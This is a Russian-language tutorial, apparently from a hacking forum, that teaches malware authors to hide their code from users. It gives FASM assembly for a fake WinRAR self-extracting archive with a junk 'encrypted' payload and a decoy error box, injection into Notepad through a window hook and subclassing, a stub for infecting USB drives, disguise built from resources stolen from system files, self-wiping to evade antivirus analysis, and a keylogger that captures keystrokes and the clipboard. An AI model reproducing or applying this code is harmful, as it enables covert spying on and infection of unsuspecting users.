Техника маскировки малвари.

0. Введение


Как понятно из заголовка, речь в данной статье пойдет о маскировке вредоносного кода. Просмотрев достаточно большое количество современной малвари я был крайне неприятно удивлен. Сегодня мало кто заботится о маскировке, ограничившись, в лучшем случае, лишь парой общеизвестных антиотладочных методик, забывая при этом, что помимо антивирусов существуют еще и пользователи. Хочется верить, что данная статья хоть как-то повлияет на ситуацию, хотя бы среди русских разработчиков зловреда. Речь пойдет о usermode, никакой антиотладки, обфускации, 0-day техник для обхода всего, что только можно тут вы не увидите, об этом итак писалось уже много раз. Примеры упрощены до максимума: маскироваться мы будем от пользователя и только от пользователя.
Статья поделена на несколько этапов, начиная с маскировки свежее внедренного зловреда и заканчивая обоснованием в системе. Каждый этап статьи сопровождается демонстрационным кодом, также прилагается пример использования всех описанных в статье методик – достаточно примитивный кейлоггер, не создающий процессов/потоков. От читателя потребуются знания основ программирования под windows на, выражаясь языком одного из участников форума, «быдокодерском» ассемблере (синтаксис FASM):)
Также, обращаю ваше внимание, что местами код, приведенный в статье, и код, используемый в примерах различаются. Сделано это было исключительно для облегчения понимания происходящего и уменьшения размера статьи. Что ж, приступим.

1. Внедрение


Непосредственно описание самих методик внедрения лежат за пределами данной статьи, здесь будет описан лишь процесс маскировки внедряемого файла. Для этих целей я предлагаю простой, но действенный способ – подделка под Self Extracting Archive-архив (далее SFX). В качестве жертвы я выбрал WinRAR, но вы можете выбрать любой другой и просто повторить действия, описанные в данной части статьи.
Итак, что же представляет из себя SFX-архив? Это небольшой (относительно) модуль-распаковщик и дописанный в конец файла (в т.н. оверлей; в основном поступают именно так) или где-нибудь в теле (редко, но все-же встречается) архив. При запуске модуль, в зависимости от заданных параметров, показывает диалоговое окно или просто распаковывает в нужное место прикрепленный архив. Т.к. мы лишь создаем видимость, сходство с настоящим SFX-архивом будет лишь внешним, т.е. никаких окон создавать не придется (хотя это, конечно, по желанию:) От оригинального SFX-модуля нам потребуются: ресурсы, секция данных и секция импорта. Конечно, неофит практически наверняка запустит программу, ничего не заподозрив, но опытный пользователь, скорее всего, захочет убедиться в подлинности архива. Некоторые могут даже поковырять таблицу импорта или пройтись по файлу hex-редактором, так что нужно быть готовыми ко всему. Это накладывает определенные ограничения на наш код. В частности – у нас не может быть таблицы импорта, все функции мы должны находить сами. Впрочем, обо всем по порядку.
Размер WRar-SFX модуля составляет 101 кб. и, дабы не вызывать лишних подозрений, мы будем стремиться к этому размеру, как к эталону. Попросту говоря в конец нашей секции с кодом будет дописываться N-ное количество двордов с псевдослучайным содержимым, где N - разница между размером нашей кодовой секции ($-Start) и кодовой секции оригинального SFX’а (13A00h):

<pre style="background-color: #f0f0f0; font-family: 'Courier New',Courier,monospace; font-size: 12px; margin: 2px; padding: 2px; width: 650px; height: auto; text-align: left; overflow: auto;"><code class="delphi" style="margin: 3px;">repeat (13A00h-($-Start))/4 random dw __RND__ shr 16 dw 0 end repeat</code></pre>
Также, это выравнивание поможет нам избежать некоторых проблем в будущем, об этом ниже.
Получить секцию данных не составит особого труда - ее можно извлечь практически любым PE-редактором (я использовал для этих целей PE Tools), тоже самое касается секции ресурсов. Касательно импорта ситуация несколько иная: FASM не умеет автоматически перестраивать таблицу импорта для расположения ее по новым адресам, поэтому нам остается либо прибегать к помощи сторонних утилит (как вариант - написанию макроса), либо, что мы и сделаем, размещению таблицы импорта по тому же виртуальному адресу. В принципе, особо делать ничего не нужно - всего лишь выровнять секцию данных:

<pre style="background-color: #f0f0f0; font-family: 'Courier New',Courier,monospace; font-size: 12px; margin: 2px; padding: 2px; width: 650px; height: auto; text-align: left; overflow: auto;"><code class="vbscript" style="margin: 3px;">section '.data' data readable .data: file 'wrar\data.dat' rb 7000h-($-data) section '.idata' import data readable file 'wrar\import.dat' section '.rsrc' data readable resource from 'wrar\sfx.res'</code></pre>
Помимо простоты в исполнении это дает нам еще и внешнее сходство таблиц секций. Правда, если ваш зловред перевесит допустимые пределы и сместит импорт за пределы адреса 1C000h, то таблицу импорта придется все же перестраивать.
Итак, наш псевдо-SFX готов, осталось добавить в оверлей архив.

Правда, остается один нюанс. Обычный архив нам не подойдет, т.к. его содержимое можно очень легко просмотреть (хоть тем же WinRar’ом). Чтобы обезопасить себя и не вызывать лишних подозрений наш архив будет иметь флаг «шифрование заголовков» (0x0080). Дело в том, что с таким заголовком без ввода пароля не удастся получить даже параметры архива (такие, как количество файлов и размер словаря). Фактически вместо тела архива может быть записано абсолютно все, что угодно. Этой особенностью мы и воспользуемся. Внешне это будет выглядеть так:

Попытки просмотреть содержимое архива, опять же, не дадут никаких результатов, а т.к. пароля попросту не существует, подобрать его будет очень непросто:) Чтобы автоматизировать процесс добавления «архива» в оверлей, предлагаю в очередной раз воспользоваться замечательными возможностями FASM. Нижеприведенный код, будучи собранным FASM’ом добавит в оверлей «шифрованный архив», который представляет из себя набор псевдослучайных двойных слов:

<pre style="background-color: #f0f0f0; font-family: 'Courier New',Courier,monospace; font-size: 12px; margin: 2px; padding: 2px; width: 650px; height: auto; text-align: left; overflow: auto;"><code class="delphi" style="margin: 3px;">file 'malware.exe' db 0x52,0x61,0x72,0x21,0x1A,0x07,0x00,0x40,0x79,0x73 db 0x8C,0x00,0x0D,0x00,0x00,0x00,0x00,0x00,0x00,0x00 __RND__ = 0 __SEED__ = %t macro random ;by S.T.A.S. {__SEED__ = (__SEED__ mod 127773 * 16807) - (__SEED__ / 127773*2836) __RND__ = __SEED__ mod 0xFFFFFFFFF } random repeat __RND__ mod 1024*30+1 random dd __RND__ end repeat</code></pre>
Ну вот, с нанесением грима на исполняемый модуль мы закончили. Теперь без использования специализированных утилит (вроде отладчика и дизассемблера) уличить нас в распространении зловреда будет очень непросто. Хотя нет, пока что достаточно запустить программу на исполнение и понять, что что-то не так:) Приступим к маскировке «времени исполнения». Конечно, можно создавать окно а-ля оригинальный SFX, но проще при запуске выполнить свои «грязные» действия, показать окно с ошибкой и завершить работу. При этом будет весьма неплохо, если программа будет выполнять какие-нибудь «сложные расчеты» пару секунд. Чтобы избежать проблем с не русскоязычными версиям Windows сообщение будем получать функцией «FormatMessage».

<pre style="background-color: #f0f0f0; font-family: 'Courier New',Courier,monospace; font-size: 12px; margin: 2px; padding: 2px; width: 650px; height: auto; text-align: left; overflow: auto;"><code class="avrasm" style="margin: 3px;">sub eax,eax push eax mov ecx,esp invoke FormatMessage,FORMAT_MESSAGE_FROM_SYSTEM+FORMAT_MESSAGE_ALLOCATE_BUFFER,eax,5AAh,eax,ecx,eax,eax mov ecx,[esp] sub eax,eax invoke MessageBox,eax,ecx,eax,MB_ICONERROR call [LocalFree] invoke ExitProcess,eax</code></pre>

2. Маскировка процесса


Маскировка процесса, на мой взгляд, одна из основных наших задач после внедрения в систему, т.к. во многом именно от этого зависит, заподозрит ли что-нибудь пользователь или нет. Есть множество путей решения этой проблемы, в частности инфицирование системных файлов, однако я считаю, что модификация исполняемых файлов на диске – метод достаточно заметный. У нас есть несколько вариантов развития событий:
1. не прятать процесс вовсе
2. создание удаленного потока
3. прятать процесс перехватом системных функций/модификацией структур
4. сабклассинг окна
Первый вариант откидываем сразу, второй и третий были описаны уже столько раз, что это становится скучно. Мы пойдем последним путем – будем сабкассить окно и работать в контексте чужого процесса, при этом, не создавая своих процессов/потоков.

Из-за специфики метода внедрения в чужое АП с этого момента в силу вступают новые ограничения: наш код должен быть базонезависимым (код, приведенный в статье в таком виде использовать нельзя, см. исходник, прилагающийся к статье).
Первое, что нам необходимо – найти окно-жертву, я в качестве жертвы выбрал NOTEPAD.EXE (в процессе отладки приложение имеет свойство часто работать неверно и падать, поэтому внедряться сразу в EXPLORER.EXE несколько неразумно:)

<pre style="background-color: #f0f0f0; font-family: 'Courier New',Courier,monospace; font-size: 12px; margin: 2px; padding: 2px; width: 650px; height: auto; text-align: left; overflow: auto;"><code class="vbscript" style="margin: 3px;">szWndName db 'Notepad',0 hWnd dd ? dwProccessID dd ? dwThreadID dd ? hProcess dd ? ;... sub eax,eax invoke FindWindow,szWndName,eax test eax,eax je error invoke GetWindowThreadProcessId,[hWnd],dwProccessID mov [dwThreadID],eax sub eax,eax invoke OpenProcess,PROCESS_DUP_HANDLE,eax,[dwProccessID] test eax,eax je error mov [hProcess],eax</code></pre>
Окно получено, процесс открыт, можно готовиться к внедрению. Учитывая, что мы будем находиться в чужом АП и модуль будет браться с диска, доступа к API-функциям у нас не будет, поэтому придется позаботиться об этом заранее. Для удобства представления информации заведем структуру «ur_MMF»:

<pre style="background-color: #f0f0f0; font-family: 'Courier New',Courier,monospace; font-size: 12px; margin: 2px; padding: 2px; width: 650px; height: auto; text-align: left; overflow: auto;"><code class="cs" style="margin: 3px;">struct ur_MMF OpenEvent dd ? SetEvent dd ? VirtualAlloc dd ? SetWindowLong dd ? GetWindowLong dd ? GetModuleHandle dd ? FreeLibrary dd ? SetTimer dd ? KillTimer dd ? dwModBase dd ? ;... ends</code></pre>
Есть несколько способов передачи процессу больше 4х байт информации (в смысле, гораздо больше:) и все они сводятся к Memory Mapped Files. Для передачи описателя нашего MMF мы воспользуемся функцией «DuplicateHandle».

<pre style="background-color: #f0f0f0; font-family: 'Courier New',Courier,monospace; font-size: 12px; margin: 2px; padding: 2px; width: 650px; height: auto; text-align: left; overflow: auto;"><code class="css" style="margin: 3px;">szFileMapping db 'ur_FileMappingName',0 hMapping dd ? lpMapping dd ? hFileMapping dd ? ;... sub eax,eax lea ecx,[eax-1] invoke CreateFileMapping,ecx,eax,PAGE_READWRITE,eax,FILE_MAPPING_SIZE,szFileMapping test eax,eax je error mov [hMapping],eax sub ecx,ecx invoke MapViewOfFile,eax,FILE_MAP_WRITE,ecx,ecx,FILE_MAPPING_SIZE test eax,eax je error mov [lpMapping],eax sub ecx,ecx lea edx,[ecx-1] invoke DuplicateHandle,edx,[hMapping],[hProcess],hFileMapping,ecx,ecx,DUPLICATE_SAME_ACCESS invoke CloseHandle,[hProcess] mov eax,[lpMapping] mov ecx,[OpenEvent] mov [eax+ur_MMF.OpenEvent],ecx mov ecx,[SetEvent] mov [eax+ur_MMF.SetEvent],ecx mov ecx,[VirtualAlloc] mov [eax+ur_MMF.VirtualAlloc],ecx mov ecx,[SetWindowLong] mov [eax+ur_MMF.SetWindowLong],ecx mov ecx,[GetWindowLong] mov [eax+ur_MMF.GetWindowLong],ecx mov ecx,[GetModuleHandle] mov [eax+ur_MMF.GetModuleHandle],ecx mov ecx,[FreeLibrary] mov [eax+ur_MMF.FreeLibrary],ecx mov ecx,[SetTimer] mov [eax+ur_MMF.SetTimer],ecx mov ecx,[KillTimer] mov [eax+ur_MMF.KillTimer],ecx</code></pre>
Также, нам необходимо знать, когда процесс внедрения завершен и можно заметать за собой следы. Для этих целей мы будем использовать события. Также, нашей структуре появляется новый элемент.

<pre style="background-color: #f0f0f0; font-family: 'Courier New',Courier,monospace; font-size: 12px; margin: 2px; padding: 2px; width: 650px; height: auto; text-align: left; overflow: auto;"><code class="css" style="margin: 3px;">struct ur_MMF ;... szEventName rb 200 ;... ends ;... szEventName db 'ur_EventName',0 hEvent dd ? ;... sub eax,eax invoke CreateEvent,eax,eax,eax,szEventName test eax,eax je error mov [hEvent],eax mov eax,[lpMapping] lea eax,[eax+ur_MMF.szEventName] invoke strcpy,eax,szEventName</code></pre>
Код внедрения представляет из себя пресловутый Windows Hook, и ничего необычного тут нет. Мы просто устанавливаем перехват на один процесс и ждем сигнала от обработчика:

<pre style="background-color: #f0f0f0; font-family: 'Courier New',Courier,monospace; font-size: 12px; margin: 2px; padding: 2px; width: 650px; height: auto; text-align: left; overflow: auto;"><code class="css" style="margin: 3px;">hHook dd ? ;... sub eax,eax invoke GetModuleHandle,eax invoke SetWindowsHookEx,WH_GETMESSAGE,Inject,eax,[dwThreadID] invoke PostMessage,[hWnd],0xDEAD,[hFileMapping],[MapViewOfFile] invoke WaitForSingleObject,[hEvent],10000 invoke UnhookWindowsHookEx,[hHook]</code></pre>
Код обработчика выполняется уже в контексте атакуемого процесса, поэтому нам необходимо выделить место под код и установить процедуру-обработчик для окна (собственно, сабклассировать окно).

<pre style="background-color: #f0f0f0; font-family: 'Courier New',Courier,monospace; font-size: 12px; margin: 2px; padding: 2px; width: 650px; height: 500px; text-align: left; overflow: auto;"><code class="avrasm" style="margin: 3px;">proc Inject,nCode,wParam,lParam local hEvent dd ? sub eax,eax cmp [nCode],eax jne .ret mov eax,[lParam] cmp dword[eax+MSG.message],0xDEAD je @F .ret: ret @@: pusha call @F @@: pop edi sub edi,@B sub ebx,ebx ;в lParam мы передали адрес функции MapViewOfFile, в wParam лежит описатель файла stdcall dword[eax+MSG.lParam],[eax+MSG.wParam],FILE_MAP_READ+FILE_MAP_WRITE,ebx,ebx,sizeof.ur_MMF mov [edi+lpAPITbl],eax xchg eax,esi virtual at esi .esi ur_MMF end virtual lea eax,[.esi.szEventName] lea ecx,[ebx+1] invoke .esi.OpenEvent,EVENT_ALL_ACCESS,ecx,eax test eax,eax je .end mov [hEvent],eax invoke .esi.VirtualAlloc,ebx,ur_CodeSize,MEM_COMMIT,PAGE_READWRITE test eax,eax je .exit lea ecx,[edi+ur_CODE] push eax push eax stdcall memcpy,eax,ur_CodeSize,ecx mov eax,[lParam] mov ebx,[eax] invoke .esi.SetWindowLong,ebx,GWL_WNDPROC lea ecx,[edi+hOldWndProc] lea edx,[edi+ur_CODE] sub ecx,edx pop edx mov [edx+ecx],eax sub eax,eax invoke .esi.GetModuleHandle,eax mov [.esi.dwModBase],eax .exit: invoke .esi.SetEvent,[hEvent] .end: popa ret endp ;...
lpAPITbl dd ? ;указатель на нашу структуру</code></pre>
Финальный штрих: код обработчика окна. По большому счету это самая обыкновенная оконная процедура. Правда, есть одно НО - мы не получим сообщения «WM_INITDIALOG», а нужных нам библиотек в АП чужого процесса может и не быть. Решить это можно разными путями, в частности загрузкой нужных DLL на предыдущем этапе, но это может занять достаточно много времени что не очень безопасно. Я выбрал иной путь – при первом запуске сработает безусловный переход на инициализирующий код, который первым делом затрет переход NOP’ами и выполнит все необходимые действия (загрузка DLL, поиск API и т.д.).

<pre style="background-color: #f0f0f0; font-family: 'Courier New',Courier,monospace; font-size: 12px; margin: 2px; padding: 2px; width: 650px; height: 500px; text-align: left; overflow: auto;"><code class="avrasm" style="margin: 3px;">proc ur_CODE,hWnd,uMsg,wParam,lParam pusha sub ebx,ebx call @F @@: pop edi sub edi,@B mov esi,[edi+lpAPITbl] virtual at esi .esi ur_MMF end virtual .path_here: jmp near .first_run mov eax,[uMsg] cmp eax,WM_TIMER je .evil cmp eax,WM_DESTROY je .TheEnd .ret: push [lParam] push [wParam] push [uMsg] push [hWnd] push dword 0x00000000 hOldWndProc = $-4 call [.esi.CallWindowProc] mov [esp+1Ch],eax popa ret .evil: mov eax,[wParam] cmp eax,0DEFACEh jne .ret ;evil... jmp .ret .TheEnd: ;cleanup invoke .esi.KillTimer,[hWnd],0DEFACEh jmp .ret .first_run: mov eax,90909090h mov [edi+.path_here+0],eax mov [edi+.path_here+4],al ;init invoke .esi.FreeLibrary,[.esi.dwModBase] invoke .esi.SetTimer,[hWnd],0DEFACEh,ur_EvilInterval,ebx jmp .ret endp ;... ur_CodeSize = $-urCODE</code></pre>
Как видите – ничего сложного здесь нет. Вместо таймера можно выбрать что-нибудь другое. К примеру, создать асинхронный сокет и ждать команды бот-мастера.
Данный метод очень хорош, но его можно еще немного улучшить. Например, копировать свой код не в память, выделенную по средствам «VirtualAlloc» (при размещении кода в таком участке это очень хорошо видно на карте памяти), а путем поиска свободного места в памяти процесса или же ставить длинный безусловный переход на пролог оригинальной функции-обработчике (подобно «сплайсингу»). В общем, как говорится, есть, где развернуться.
Если вы все еще сомневаетесь в практичности данного метода, вот несколько доводов в его пользу:

  • не создает лишних потоков/процессов
  • не висит «левой» DLL в АП процесса
  • не один известный мне инструмент такие инжекты не обнаруживает
  • возможность писать в свой исполняемый файл
  • оконные сообщения, вроде WM_DEVICECHANGE

Минусов замечено не было :)
На последнем пункте хотелось бы остановиться по подробнее. Сообщение «WM_DEVICECHANGE» рассылается всем окнам и может быть использовано, к примеру, для заражения флешек:

<pre style="background-color: #f0f0f0; font-family: 'Courier New',Courier,monospace; font-size: 12px; margin: 2px; padding: 2px; width: 650px; height: auto; text-align: left; overflow: auto;"><code class="avrasm" style="margin: 3px;">;... cmp [uMsg],WM_DEVICECHANGE je .inf_flash ;... .inf_flash: cmp dword[wParam],DBT_DEVICEARRIVAL jne .ret mov eax,[lParam] cmp dword[eax+4],DBT_DEVTYP_VOLUME jne .ret bsf ecx,[eax+0Ch] jecxz .ret lea eax,[ecx+'A'] ;в EAX буква диска stdcall infect_device,eax jmp .ret</code></pre>
Реализация функции «infect_device» остается на совести читателя:)

3. Закрепление в системе


Итак, мы в системе. Достаточно наивно полагать, что наш «SFX-архив», находясь в списке авто загружаемых модулей, не вызовет подозрений.

Конечно, можно носить с собой дополнительный модуль и записывать его на диск при необходимости, но ведь куда более грамотно будет просто сменить грим: у нас будет каждый раз разная информация о версии, уникальный импорт и разнообразный бред в секции данных, разный размер модуля. За эту уникальность придется заплатить еще одним ограничением: код, данные и все, что нам нужно должно храниться в одной секции. Т.к. код у нас уже базонезависим, а импорт отсутствует – реализовать задуманное не составит особого труда.
Смену грима начнем, пожалуй, с секции данных. Изначально планировалось копировать секцию данных из оригинального EXE-модуля, но на практике оказалось, что этот вариант не очень хорош, т.к. в секции с данными редко встречаются текстовые строки. Будем генерировать данные сами и записывать их в секцию данных. С данными разобрались, можно переходить к ресурсам. Задача эта весьма тривиальна, ОС предоставляет нам все необходимые для этого инструменты. Слегка упрощенная функция для поиска случайного файла и последующего «выдирание» из него информации о версии может выглядеть примерно так:

<pre style="background-color: #f0f0f0; font-family: 'Courier New',Courier,monospace; font-size: 12px; margin: 2px; padding: 2px; width: 650px; height: 500px; text-align: left; overflow: auto;"><code class="css" style="margin: 3px;">proc FindRES,lpMem locals szBuff rb 400 fndata WIN32_FIND_DATA hFind dd ? dwLen dd ? ch1 db ? ch2 db ? hFile dd ? lpRes dd ? dwResSize dd ? endl lea eax,[szBuff] invoke GetSystemDirectory,eax,260 test eax,eax je .ret mov [dwLen],eax .rnd_file: mov eax,'z'-'a' call prng add eax,'a' mov [ch1],al mov eax,'z'-'a' call prng add eax,'a' mov [ch2],al mov eax,[dwLen] lea ecx,[szBuff+eax] mov dword[ecx+0],'\х*й' ; (:P mov dword[ecx+4],'*.ex' mov word[ecx+8],'e' mov dl,[ch1] mov byte[ecx+1],dl mov dl,[ch2] mov byte[ecx+3],dl lea eax,[szBuff] lea ecx,[fndata] invoke FindFirstFile,eax,ecx test eax,eax js .rnd_file mov [hFind],eax lea eax,[szBuff] add eax,[dwLen] mov byte[eax],'\' inc eax lea ecx,[fndata.cFileName] stdcall strcpy,eax,ecx lea eax,[szBuff] invoke LoadLibrary,eax test eax,eax je .bad_name mov [hFile],eax invoke FindResource,eax,1,RT_VERSION test eax,eax je .close_bad mov [lpRes],eax invoke SizeofResource,[hFile],eax test eax,eax je .close_bad mov [dwResSize],eax invoke LoadResource,[hFile],[lpRes] test eax,eax je .close_bad mov [lpRes],eax invoke LockResource,[lpRes] test eax,eax je .close_bad movzx ecx,word[eax] cmp ecx,[dwResSize] ja .close_bad add ecx,3 and ecx,0FFFFFFFCh mov [dwResSize],ecx stdcall memcpy,[lpMem],eax,ecx invoke FreeLibrary,[hFile] invoke FindClose,[hFind] mov eax,[dwResSize] jmp .ret .close_bad: invoke FreeLibrary,[hFile] jmp .bad_name .ret_0: sub eax,eax .ret: ret endp</code></pre>
Как не сложно заметить:), в коде используется функция «LoadLibrary», имеющая привычку выводить ругательства на «неправильные» библиотеки. Эти сообщения необходимо предусмотрительно отключить функцией «SetErrorMode» (см. код в архиве).
В целях экономии места, в данном коде отсутствует проверка на «правильные» имена (довольно странно прикидываться пасьянсом «Косынка», не находите?:), а также фильтрация по критерию «только от МС». Ничего сложного тут нет, а результат, как говорится, на лицо:

Последним штрихом в нашей маскировке будет подложный импорт. Т.к. вызывать эти функции мы не будем, проблем с составлением таблицы импорта у нас не возникнет. В целях экономии места, код здесь приводить не буду, желающие могут заглянуть в исходник

Также, на тот случай, если пользователь вдруг что-нибудь заподозрит мы дополнительно, после выполнения всех запланированных мероприятий по инфицированию системы и вывода сообщения об ошибке, удалим из SFX’а вредоносный код. Конечно, это лишит данный экземпляр нашей малвари возможности размножения, но в тоже время, даже если пользователь отдаст файл на анализ в АВ - там ничего не найдут. Процедура «зачистки» будет выглядеть так:

<pre style="background-color: #f0f0f0; font-family: 'Courier New',Courier,monospace; font-size: 12px; margin: 2px; padding: 2px; width: 650px; height: auto; text-align: left; overflow: auto;"><code class="avrasm" style="margin: 3px;">proc kill_malcode,lpFile locals hFile dd ? hMap dd ? lpMap dd ? endl pusha sub ebx,ebx invoke CreateFile,[lpFile],GENERIC_READ+GENERIC_WRITE,FILE_SHARE_READ,ebx,OPEN_EXISTING,ebx,ebx test eax,eax js .ret mov [hFile],eax invoke CreateFileMapping,eax,ebx,PAGE_READWRITE,ebx,ebx,ebx test eax,eax je .closef mov [hMap],eax invoke MapViewOfFile,eax,FILE_MAP_READ+FILE_MAP_WRITE,ebx,ebx,ebx test eax,eax je .closem mov [lpMap],eax mov ecx,[eax+3Ch] add ecx,eax lea ecx,[ecx+0F8h] mov ecx,[ecx+14h] lea edi,[eax+ecx+MALICIOUS_CODE_OFFSET] sub eax,eax mov ecx,MALICIOUS_CODE_SIZE shl ecx,2 rep stosd invoke UnmapViewOfFile,[lpMap] .closem:invoke CloseHandle,[hMap] .closef:invoke CloseHandle,[hFile] .ret: popa ret endp</code></pre>
Примечание. Примеры к статье, при заражении системы, код для размножения с собой не берут, т.е. способность для размножения у них отсутствует. Исправить эту ситуацию предельно просто - немного расширить границы «MALICIOUS_CODE_OFFSET» и «MALICIOUS_CODE_SIZE» (условно), а также завести переменную «dwFirstRun» (или что-то вроде), дабы при загрузке системы не выводить сообщение об ошибке.

4. Практический пример: кейлоггер


Чтобы как-то суммировать вышеописанное поговорим немного о практическом примере, напишем простенький, но максимально приближенный к своему «боевому» аналогу, кейлоггер, использующий описанные выше методики. Работать он будет, используя функцию «GetRawInputData» (появилась, начиная с WinXP). Логгер наш будет максимально простым, он будет уметь только запоминать нажатые клавиши, следить за буфером обмена, время от времени делать скришоты, а также реагировать на смену окон и раскладок клавиатуры (поддерживает только ENG и RUS). Поговорим немного об устройстве нашего кейлоггера.
Наличие легального окна очень поможет нам в слежении за буфером обмена. Для этого мы будем использовать функцию «SetClipboardViewer». Каждый раз, при смене содержимого буфера обмена система любезно уведомит нас об этом событии сообщением «WM_DRAWCLIPBOARD». Уведомления о нажатых клавишах также будут приходить нам прямо в окно, в виде сообщения «WM_INPUT». Для мониторинга ключа автозапуска мы воспользуемся функцией «RegNotifyChangeKeyValue». К сожалению, напрямую с окнами она взаимодействовать не умеет. Мы создадим ожидающий изменений тред, который и будет отсылать сообщение нашему окну:

<pre style="background-color: #f0f0f0; font-family: 'Courier New',Courier,monospace; font-size: 12px; margin: 2px; padding: 2px; width: 650px; height: auto; text-align: left; overflow: auto;"><code class="avrasm" style="margin: 3px;">WM_REGCHANGE = WM_USER+0DEFACEDh struct RegChange hKey dd ? szKey rb 260 dwFilter dd ? ends ;... proc RegMonitorThread uses esi,lpRegChange mov esi,[lpRegChange] @@: sub eax,eax invoke RegNotifyChangeKeyValue,[esi+RegChange.hKey],eax,[esi+RegChange.dwFilter],eax,eax lea eax,[esi+RegChange.szKey] invoke SendMessage,[Wnd],WM_REGCHANGE,[esi+RegChange.hKey],eax cmp [dwExitFlag],1 jne @B exit: ret endp</code></pre>

5. Заключение


Ну, вот и все, что я хотел рассказать по поводу маскировки. Конечно, это защита только от пользователя и она далеко не идеальна (а местами даже весьма наивна), но с другой стороны, «положа руку на сердце», неужели, вы каждый раз, встретив сообщение об ошибке, лезете в отладчик?.. Использовать вышеописанные методики в «голом» виде было бы полнейшим маразмом - маскировка это мероприятие сложное и комплексное, как минимум необходимо добавить еще антиотладочные трюки, защиту от запуска на VM, полиморфный движок и т.д. Написано об это много (даже, пожалуй, слишком много) и проблем с этим возникнуть не должно. Комментировать код я не умею и не люблю, но примеры понятны и без моих безграмотных комментариев :) Если есть какие-то вопросы, пожелания, критика, багрепорты и т.д. - буду рад выслушать.

Спасибо за внимание.